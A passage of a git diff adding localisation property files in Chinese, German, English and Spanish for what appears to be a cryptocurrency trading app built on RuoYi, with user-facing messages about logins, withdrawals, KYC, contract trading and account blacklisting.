+user.kyc.not_blank=\u8EAB\u4EFD\u8BA4\u8BC1\u4FE1\u606F4\u9879\u90FD\u662F\u5FC5\u586B + +#\u5151\u6362 +exchange.record.exist.error=\u60A8\u6709\u4E00\u7B14\u5151\u6362\u6B63\u5728\u8FDB\u884C\u4E2D\uFF0C\u7A0D\u540E\u518D\u8BD5 +exchange.symbol.exist = \u5151\u6362\u7684\u5E01\u79CD\u4E0D\u80FD\u4E3A\u7A7A,\u5151\u6362\u91D1\u989D\u5FC5\u987B\u5927\u4E8E0 +recharge.amout.min=\u6700\u5C0F\u5145\u503C\u91D1\u989D\u4E3A{0} +recharge.amout.max=\u6700\u5927\u5145\u503C\u91D1\u989D\u4E3A{0} +currency.exchange_min = \u6700\u5C0F\u5151\u6362\u91D1\u989D\u4E3A{0} +currency.exchange_max = \u6700\u5927\u5151\u6362\u91D1\u989D\u4E3A{0} +exchange_symbol_error_exist = \u5151\u6362\u5E01\u79CD\u4E0D\u5B58\u5728 + +contract.accont.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +contract.min.share=\u6700\u4F4E\u8D2D\u4E70\u6570\u4E3A{0} +contract.max.share=\u6700\u9AD8\u8D2D\u4E70\u6570\u4E3A{0} +contract.asset.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +adjust.min.error=\u51CF\u5C11\u7684\u4FDD\u8BC1\u91D1\u4E0D\u80FD\u5C0F\u4E8E\u521D\u59CB\u4FDD\u8BC1\u91D1 +order.status.error=\u975E\u6CD5\u63D0\u4EA4 +contract.buy.earn.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.buy.loss.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u635F\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.earn.error=\u5356\u51FA\u5F00\u7A7A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.loss.error=\u5356\u51FA\u5F00\u7A7A,\u6B62\u635F\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.num.limit=\u6570\u91CF\u4E0D\u80FD\u5927\u4E8E\u6301\u4ED3\u91CF + +#\u5E01\u5E01\u4EA4\u6613 +currency.coin.setting.nonexistent=\u5F53\u524D{}\u914D\u7F6E\u4E0D\u5B58\u5728 +currency.balance.deficiency=\u5F53\u524D{}\u5E01\u79CD\u4F59\u989D\u4E0D\u8DB3 +currency.deal.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EA4\u6613 +currency.sell.min.error=\u6700\u4F4E\u5356\u5355\u4EF7:{0} +currency.buy.max.error=\u6700\u9AD8\u4E70\u5355\u4EF7:{0} +currency.order.min.error=\u6700\u5C0F\u4E0B\u5355\u91CF\u4E3A{0} +currency.order.max.error=\u6700\u5927\u4E0B\u5355\u91CF\u4E3A{0} +currency.market.buy.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EE5\u8FDB\u884C\u5E02\u4EF7\u4E70\u4EA4\u6613 +currency.market.sell.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EE5\u8FDB\u884C\u5E02\u4EF7\u5356\u4EA4\u6613 +currency.limited.buy.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EE5\u8FDB\u884C\u9650\u4EF7\u4E70\u4EA4\u6613 +currency.limited.sell.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EE5\u8FDB\u884C\u9650\u4EF7\u5356\u4EA4\u6613 +order.amount_error=\u7406\u8D22\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... +order_amount_error=\u94B1\u5305\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order_amount_limit=\u4E0D\u7B26\u5408\u91D1\u989D\u4E0A\u4E0B\u9650 + +back.code.exist.error = \u94F6\u884C\u5361\u53F7\u5DF2\u7ECF\u5B58\u5728{} +contract.delivery.day=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\u3002 +contract.delivery.margan=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u6216\u8005\u6301\u4ED3\u4FDD\u8BC1\u91D1\u5C0F\u4E8E\u7B49\u4E8E{2}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.earn=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.loss=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{1}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +order.audit.error=\u6B63\u5728\u5BA1\u6838\u4E2D +order.audit.pass=\u6B63\u5728\u5145\u503C\u4E2D\uFF0C\u9700\u8981\u5168\u74035\u4E2A\u8282\u70B9\u786E\u8BA4\uFF0C\u8BF7\u60A8\u8010\u5FC3\u7B49\u5F85 + +#\u7533\u8D2D +own.coin.limit.num= \u53EF\u8D2D\u4E70\u6570\u91CF{0} +own.coin.limit= \u53EF\u7528\u4F59\u989D{0} +own.coin.success= \u7533\u8D2D\u6210\u529F +own.coin.error= \u7CFB\u7EDF\u9519\u8BEF\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +own.coin.sub.play=\u60A8\u5DF2\u7533\u8D2D\uFF0C\u8BF7\u52FF\u91CD\u590D\u63D0\u4EA4\uFF01 +own.coin.sub.error=\u672A\u8BA2\u9605\u6210\u529F\u4E0D\u53EF\u7533\u8D2D +own.coin.sub.success=\u60A8\u5DF2\u83B7\u5F97 {0} \u7533\u8D2D\u8D44\u683C +own.coin.sub.num.error=\u8BF7\u586B\u5199\u6B63\u786E\u6570\u91CF +order.sell.min.error=\u6700\u4F4E\u5356\u51FA\u91CF\u4E3A{0} +order.audit.reject=\u5E73\u4ED3\u5931\u8D25 + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u8BA2\u9605\u6210\u529F +own.coin.subscribe.error=\u8BA2\u9605\u5931\u8D25 +user.appname=\u4E2D\u6587 +user.tard.password_bind=\u5B89\u5168\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u8BF7\u5148\u8FDB\u884C\u521D\u7EA7\u8BA4\u8BC1 + +#\u9ED1\u540D\u5355 +user_is_black = \u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5217\u5165\u9ED1\u540D\u5355\uFF0C\u65E0\u6CD5\u767B\u5F55\u3002 \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/i18n/messages_de.properties b/ruoyi-api/src/main/resources/i18n/messages_de.properties new file mode 100644 index 0000000..ba35c6a --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_de.properties @@ -0,0 +1,164 @@ +user.appname=\u5FB7\u8BED + +#\u9519\u8BEF\u6D88\u606F +not.null= required +user.jcaptcha.error=Verification code error +user.jcaptcha.expire=Verification code has expired +user.not.exists=User does not exist/wrong password +user.password.not.match=User does not exist/wrong password +user.password.retry.limit.count=The wrong password was entered {0} times +user.password.retry.limit.exceed=The password was entered incorrectly {0} times, and the account was locked for {1} minutes +user.password.delete=Sorry, your account has been deleted +user.blocked=The user has been banned, please contact the administrator +role.blocked=The role has been banned, please contact the administrator +login.blocked=Unfortunately, the access IP has been blacklisted by the system +user.logout.success=exit successfully +user.ops.status=Successful operation, Please wait + +length.not.valid=Length must be between {min} and {max} characters + +user.username.not.valid=* 2 to 20 Chinese characters, letters, numbers or underscores, and must start with a non-number +user.password.not.valid=* 5-50 characters + +user.email.not.valid=E-mail format error +user.mobile.phone.number.not.valid=Malformed phone number +user.login.success=login successful +user.register.success=registration success +user.notfound=please login again +user.forcelogout=The administrator forcibly logged out, please log in again +user.unknown.error=Unknown error, please log in again + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=The uploaded file size exceeds the file size limit! The maximum allowed file size is: {0}MB! +upload.filename.exceed.length=The maximum length of the uploaded file name is {0} characters + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=E-mail format is incorrect +user.register.email.exisit=mailbox already exists +user.register.phone.exisit=mobile number already exists +user.user_name_exisit=username already exists +login.user_error=wrong user name or password +user.login.address.error=Address is taken! +user.register.phone.exist=Mobile phone number already exists +user.register.phone.bind=Mobile phone number has been bound +#app +app.login.address.not.null=user address is empty +login.email.not_register=Please use the bound email address to operate +login.phone.not_register=Please use the bound mobile phone number to operate +login.code_error=Verification code error +user.login.code.error=Verification code validation failed! +user.login.password.null=Please enter your password! +user.login.upd.success=Successfully modified! +phone_code_empty=Mobile phone number cannot be empty! +email.code_empty=E-mail can not be empty! +user.code.send=Verification code sent successfully +app.verification.email.code=The verification code has been sent to your email, please check it +user.password_bind=The password has already been set, please do not bind again +user.tard.password_bind=The security password has been set, please do not bind again +user.login.null=User does not exist! +user.login.old.password=Old password not entered! +user.login.new.password=New password not entered! +user.login.paw.upd=The new password cannot be the same as the old password! +user.login.old.password.error=The old password is wrong! +user.login.address.null=Address is empty! +user.login.userid.null=User ID is empty! +#\u63D0\u73B0 +user.password_notbind=Please set a secure password +tard_password.error=Wrong payment password +withdraw.amount_number_exceed=The number of cash withdrawals on the day exceeds the set number +withdraw_error= Insufficient balance, unable to withdraw cash +withdraw.amount_error=The withdrawal amount is wrong, please modify +withdraw.refresh=please refresh +withdraw.address.isnull=Bitte geben Sie die korrekte Auszahlungsadresse ein! +withdraw_require_error = Derzeit muss ich noch mit dem Restumsatz spielen. +withdraw_error_coin=Diese W\u00E4hrung existiert nicht +withdraw_error_rate=Dieser Wechselkurs existiert nicht +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=All 4 items of identity authentication information are required + +#\u5151\u6362 +exchange.symbol.exist = The exchange currency cannot be empty, and the exchange amount must be greater than 0 +recharge.amout.min=The minimum recharge amount is {0} +recharge.amout.max=The maximum recharge amount is {0} +currency.exchange_min = The minimum exchange amount is {0} +currency.exchange_max = The maximum exchange amount is {0} +exchange_error=The exchange amount is greater than the account balance +exchange.record.exist.error=You have a redemption in progress, try again later +#\u79D2\u5408\u7EA6 +order_amount_error=Insufficient wallet balance, unable to purchase +order_10s_retry=Orders are placed too frequently, please try to place an order after 10s... +#\u7406\u8D22 +user.push.message=User action prohibited +mine.level.error=Your VIP level is not enough to purchase secondary wealth management products +order.single.min=The purchase amount is less than the minimum amount and cannot be purchased +order.single.max=The purchased amount is greater than the maximum limit and cannot be purchased +order.buy.insufficient=You can currently purchase up to {0} +product.removed=The product has been discontinued +financial.count.max=This user has reached the limit and is not allowed to purchase +days.not.null=Buy cycle is empty +days.not.error=Purchase cycle error +contract.accont.error=Insufficient contract account balance +contract.min.share=The minimum purchase quantity is {0} +contract.max.share=The maximum number of purchases is {0} +contract.asset.error=Insufficient contract account balance +adjust.min.error=The reduced margin cannot be less than the initial margin +order.status.error=illegal submission +contract.buy.earn.error=Buy long, the take profit price cannot be less than the average opening price +contract.buy.loss.error=Buy long, the stop loss price cannot be greater than the average opening price +contract.sell.earn.error=Selling to open a short position, the take profit price cannot be greater than the average opening price +contract.sell.loss.error=Selling to open a short position, the stop loss price cannot be lower than the average opening price +contract.num.limit=The quantity cannot be greater than the open interest +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=Insufficient balance +order.amount_error=Insufficient wealth management account balance +order_amount_limit=Insufficient amount +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +contract.delivery.day=There are still: {0} days until delivery. +contract.delivery.margan=There are still: {0} days before delivery; if your position margin is greater than or equal to {1} USDT or your position margin is less than or equal to {2} USDT, you can close the position in advance. +contract.delivery.earn=There are still {0} days left before the delivery time; if your position margin is greater than or equal to {1} USDT, you can close the position in advance. +contract.delivery.loss=There are still: {0} days before the delivery time; if your position margin is less than or equal to {1}USDT, you can close the position in advance. +order.audit.error=Under review +order.audit.pass=Recharging is in progress and requires confirmation from 5 nodes around the world. Please wait patiently. + +#\u7533\u8D2D +own.coin.limit.num=Verf\u00FCgbare Menge {0} +own.coin.limit=Verf\u00FCgbares Guthaben {0} +own.coin.success=Abonnement erfolgreich +own.coin.error=Systemfehler, bitte wenden Sie sich an den Administrator +own.coin.sub.play=Sie haben sich bereits angemeldet, bitte nicht erneut anmelden! +own.coin.sub.error=Das Abonnement ist nicht verf\u00FCgbar, wenn Sie sich nicht erfolgreich angemeldet haben +own.coin.sub.success=Sie haben {0} Abonnementqualifikationen erhalten +own.coin.sub.num.error=Bitte geben Sie die richtige Menge ein +order.sell.min.error=Der Mindestverkaufsbetrag betr\u00E4gt {0} +order.audit.reject=Position konnte nicht geschlossen werden + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=Application Successfully +own.coin.subscribe.error=Application failed +withdraw.kyc.error=Please complete real-name authentication first to lift the limit +exchange_symbol_error_exist=The exchange currency does not exist +currency.coin.setting.nonexistent=The current {} configuration does not exist +currency.balance.deficiency=The current {} currency balance is insufficient +currency.deal.error=This currency is not tradable +back.code.exist.error=Bank card number already exists{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Bitte f\u00FChren Sie zun\u00E4chst die Prim\u00E4rzertifizierung durch + +#\u9ED1\u540D\u5355 +user_is_black = Ihr Konto wurde auf die schwarze Liste gesetzt und kann nicht angemeldet werden. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error=Die Mindestbestellmenge betr\u00E4gt {0} +currency.order.max.error=Die maximale Bestellmenge betr\u00E4gt {0} + + diff --git a/ruoyi-api/src/main/resources/i18n/messages_en.properties b/ruoyi-api/src/main/resources/i18n/messages_en.properties new file mode 100644 index 0000000..ff0749f --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_en.properties @@ -0,0 +1,165 @@ +user.appname=\u82F1\u6587 + + + +#\u9519\u8BEF\u6D88\u606F +not.null= required +user.jcaptcha.error=Verification code error +user.jcaptcha.expire=Verification code has expired +user.not.exists=User does not exist/wrong password +user.password.not.match=User does not exist/wrong password +user.password.retry.limit.count=The wrong password was entered {0} times +user.password.retry.limit.exceed=The password was entered incorrectly {0} times, and the account was locked for {1} minutes +user.password.delete=Sorry, your account has been deleted +user.blocked=The user has been banned, please contact the administrator +role.blocked=The role has been banned, please contact the administrator +login.blocked=Unfortunately, the access IP has been blacklisted by the system +user.logout.success=exit successfully +user.ops.status=Successful operation, Please wait + +length.not.valid=Length must be between {min} and {max} characters + +user.username.not.valid=* 2 to 20 Chinese characters, letters, numbers or underscores, and must start with a non-number +user.password.not.valid=* 5-50 characters + +user.email.not.valid=E-mail format error +user.mobile.phone.number.not.valid=Malformed phone number +user.login.success=login successful +user.register.success=registration success +user.notfound=please login again +user.forcelogout=The administrator forcibly logged out, please log in again +user.unknown.error=Unknown error, please log in again + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=The uploaded file size exceeds the file size limit! The maximum allowed file size is: {0}MB! +upload.filename.exceed.length=The maximum length of the uploaded file name is {0} characters + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=E-mail format is incorrect +user.register.email.exisit=mailbox already exists +user.register.phone.exisit=mobile number already exists +user.user_name_exisit=username already exists +login.user_error=wrong user name or password +user.login.address.error=Address is taken! +user.register.phone.exist=Mobile phone number already exists +user.register.phone.bind=Mobile phone number has been bound +#app +app.login.address.not.null=user address is empty +login.email.not_register=Please use the bound email address to operate +login.phone.not_register=Please use the bound mobile phone number to operate +login.code_error=Verification code error +user.login.code.error=Verification code validation failed! +user.login.password.null=Please enter your password! +user.login.upd.success=Successfully modified! +phone_code_empty=Mobile phone number cannot be empty! +email.code_empty=E-mail can not be empty! +user.code.send=Verification code sent successfully +app.verification.email.code=The verification code has been sent to your email, please check it +user.password_bind=The password has already been set, please do not bind again +user.tard.password_bind=The security password has been set, please do not bind again +user.login.null=User does not exist! +user.login.old.password=Old password not entered! +user.login.new.password=New password not entered! +user.login.paw.upd=The new password cannot be the same as the old password! +user.login.old.password.error=The old password is wrong! +user.login.address.null=Address is empty! +user.login.userid.null=User ID is empty! +#\u63D0\u73B0 +user.password_notbind=Please set a secure password +tard_password.error=Wrong payment password +withdraw.amount_number_exceed=The number of cash withdrawals on the day exceeds the set number +withdraw_error= Insufficient balance, unable to withdraw cash +withdraw.amount_error=The withdrawal amount is wrong, please modify +withdraw.refresh=please refresh +withdraw.address.isnull=Please fill in the correct withdrawal address! +withdraw_require_error = At present, I still need to play with the remaining turnover. +withdraw_error_coin=This currency does not exist +withdraw_error_rate=This currency exchange rate does not exist +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=All 4 items of identity authentication information are required + +#\u5151\u6362 +exchange.symbol.exist = The exchange currency cannot be empty, and the exchange amount must be greater than 0 +recharge.amout.min=The minimum recharge amount is {0} +recharge.amout.max=The maximum recharge amount is {0} +currency.exchange_min = The minimum exchange amount is {0} +currency.exchange_max = The maximum exchange amount is {0} +exchange_error=The exchange amount is greater than the account balance +exchange.record.exist.error=You have a redemption in progress, try again later +#\u79D2\u5408\u7EA6 +order_amount_error=Insufficient wallet balance, unable to purchase +order_10s_retry=Orders are placed too frequently, please try to place an order after 10s... +#\u7406\u8D22 +user.push.message=User action prohibited +mine.level.error=Your VIP level is not enough to purchase secondary wealth management products +order.single.min=The purchase amount is less than the minimum amount and cannot be purchased +order.single.max=The purchased amount is greater than the maximum limit and cannot be purchased +order.buy.insufficient=You can currently purchase up to {0} +product.removed=The product has been discontinued +financial.count.max=This user has reached the limit and is not allowed to purchase +days.not.null=Buy cycle is empty +days.not.error=Purchase cycle error +contract.accont.error=Insufficient contract account balance +contract.min.share=The minimum purchase quantity is {0} +contract.max.share=The maximum number of purchases is {0} +contract.asset.error=Insufficient contract account balance +adjust.min.error=The reduced margin cannot be less than the initial margin +order.status.error=illegal submission +contract.buy.earn.error=Buy long, the take profit price cannot be less than the average opening price +contract.buy.loss.error=Buy long, the stop loss price cannot be greater than the average opening price +contract.sell.earn.error=Selling to open a short position, the take profit price cannot be greater than the average opening price +contract.sell.loss.error=Selling to open a short position, the stop loss price cannot be lower than the average opening price +contract.num.limit=The quantity cannot be greater than the open interest +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=Insufficient balance +order.amount_error=Insufficient wealth management account balance +order_amount_limit=Insufficient amount +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +contract.delivery.day=There are still: {0} days until delivery. +contract.delivery.margan=There are still: {0} days before delivery; if your total contract is greater than or equal to {1} USDT or your total contract is less than or equal to {2} USDT, you can close the position in advance. +contract.delivery.earn=There are still {0} days left before the delivery time; if your total contract assets is greater than or equal to {1} USDT, you can close the position in advance. +contract.delivery.loss=There are still: {0} days before the delivery time; if your total contract assets is less than or equal to {1}USDT, you can close the position in advance. +order.audit.error=Under review +order.audit.pass=Recharging is in progress and requires confirmation from 5 nodes around the world. Please wait patiently. + +#\u7533\u8D2D +own.coin.limit.num=Available quantity {0} +own.coin.limit=Available Balance {0} +own.coin.success=Subscription successful +own.coin.error=System error, please contact the administrator +own.coin.sub.play=You have already subscribed, please do not submit again! +own.coin.sub.success=You have obtained {0} subscription qualifications +own.coin.sub.error=Subscription is not available if you have not successfully subscribed +own.coin.sub.num.error=Please fill in the correct quantity +order.sell.min.error=The minimum sell amount is {0} +order.audit.reject=Failed to close position + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=Application Successfully +own.coin.subscribe.error=Application failed +withdraw.kyc.error=Please complete real-name authentication first to lift the limit +exchange_symbol_error_exist=The exchange currency does not exist +currency.coin.setting.nonexistent=The current {} configuration does not exist +currency.balance.deficiency=The current {} currency balance is insufficient +currency.deal.error=This currency is not tradable +back.code.exist.error=Bank card number already exists{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Please perform primary certification first + +#\u9ED1\u540D\u5355 +user_is_black = Your account has been blacklisted and cannot be logged in. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= The minimum order quantity is {0} +currency.order.max.error= The maximum order quantity is {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_es.properties b/ruoyi-api/src/main/resources/i18n/messages_es.properties new file mode 100644 index 0000000..98dca5b --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_es.properties @@ -0,0 +1,163 @@ +user.appname=\u897F\u73ED\u7259\u8BED + +#\u9519\u8BEF\u6D88\u606F +not.null= required +user.jcaptcha.error=Verification code error +user.jcaptcha.expire=Verification code has expired +user.not.exists=User does not exist/wrong password +user.password.not.match=User does not exist/wrong password +user.password.retry.limit.count=The wrong password was entered {0} times +user.password.retry.limit.exceed=The password was entered incorrectly {0} times, and the account was locked for {1} minutes +user.password.delete=Sorry, your account has been deleted +user.blocked=The user has been banned, please contact the administrator +role.blocked=The role has been banned, please contact the administrator +login.blocked=Unfortunately, the access IP has been blacklisted by the system +user.logout.success=exit successfully +user.ops.status=Successful operation, Please wait + +length.not.valid=Length must be between {min} and {max} characters + +user.username.not.valid=* 2 to 20 Chinese characters, letters, numbers or underscores, and must start with a non-number +user.password.not.valid=* 5-50 characters + +user.email.not.valid=E-mail format error +user.mobile.phone.number.not.valid=Malformed phone number +user.login.success=login successful +user.register.success=registration success +user.notfound=please login again +user.forcelogout=The administrator forcibly logged out, please log in again +user.unknown.error=Unknown error, please log in again + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=The uploaded file size exceeds the file size limit! The maximum allowed file size is: {0}MB! +upload.filename.exceed.length=The maximum length of the uploaded file name is {0} characters + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=E-mail format is incorrect +user.register.email.exisit=mailbox already exists +user.register.phone.exisit=mobile number already exists +user.user_name_exisit=username already exists +login.user_error=wrong user name or password +user.login.address.error=Address is taken! +user.register.phone.exist=Mobile phone number already exists +user.register.phone.bind=Mobile phone number has been bound +#app +app.login.address.not.null=user address is empty +login.email.not_register=Please use the bound email address to operate +login.phone.not_register=Please use the bound mobile phone number to operate +login.code_error=Verification code error +user.login.code.error=Verification code validation failed! +user.login.password.null=Please enter your password! +user.login.upd.success=Successfully modified! +phone_code_empty=Mobile phone number cannot be empty! +email.code_empty=E-mail can not be empty! +user.code.send=Verification code sent successfully +app.verification.email.code=The verification code has been sent to your email, please check it +user.password_bind=The password has already been set, please do not bind again +user.tard.password_bind=The security password has been set, please do not bind again +user.login.null=User does not exist! +user.login.old.password=Old password not entered! +user.login.new.password=New password not entered! +user.login.paw.upd=The new password cannot be the same as the old password! +user.login.old.password.error=The old password is wrong! +user.login.address.null=Address is empty! +user.login.userid.null=User ID is empty! +#\u63D0\u73B0 +user.password_notbind=Please set a secure password +tard_password.error=Wrong payment password +withdraw.amount_number_exceed=The number of cash withdrawals on the day exceeds the set number +withdraw_error= Insufficient balance, unable to withdraw cash +withdraw.amount_error=The withdrawal amount is wrong, please modify +withdraw.refresh=please refresh +withdraw.address.isnull=\u00A1Por favor complete la direcci\u00F3n de retiro correcta! +withdraw_require_error = En este momento, todav\u00EDa necesito jugar con el volumen de negocios restante. +withdraw_error_coin=Esta moneda no existe +withdraw_error_rate=Este tipo de cambio de moneda no existe. +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=All 4 items of identity authentication information are required + +#\u5151\u6362 +exchange.symbol.exist = The exchange currency cannot be empty, and the exchange amount must be greater than 0 +recharge.amout.min=The minimum recharge amount is {0} +recharge.amout.max=The maximum recharge amount is {0} +currency.exchange_min = The minimum exchange amount is {0} +currency.exchange_max = The maximum exchange amount is {0} +exchange_error=The exchange amount is greater than the account balance +exchange.record.exist.error=You have a redemption in progress, try again later +#\u79D2\u5408\u7EA6 +order_amount_error=Insufficient wallet balance, unable to purchase +order_10s_retry=Orders are placed too frequently, please try to place an order after 10s... +#\u7406\u8D22 +user.push.message=User action prohibited +mine.level.error=Your VIP level is not enough to purchase secondary wealth management products +order.single.min=The purchase amount is less than the minimum amount and cannot be purchased +order.single.max=The purchased amount is greater than the maximum limit and cannot be purchased +order.buy.insufficient=You can currently purchase up to {0} +product.removed=The product has been discontinued +financial.count.max=This user has reached the limit and is not allowed to purchase +days.not.null=Buy cycle is empty +days.not.error=Purchase cycle error +contract.accont.error=Insufficient contract 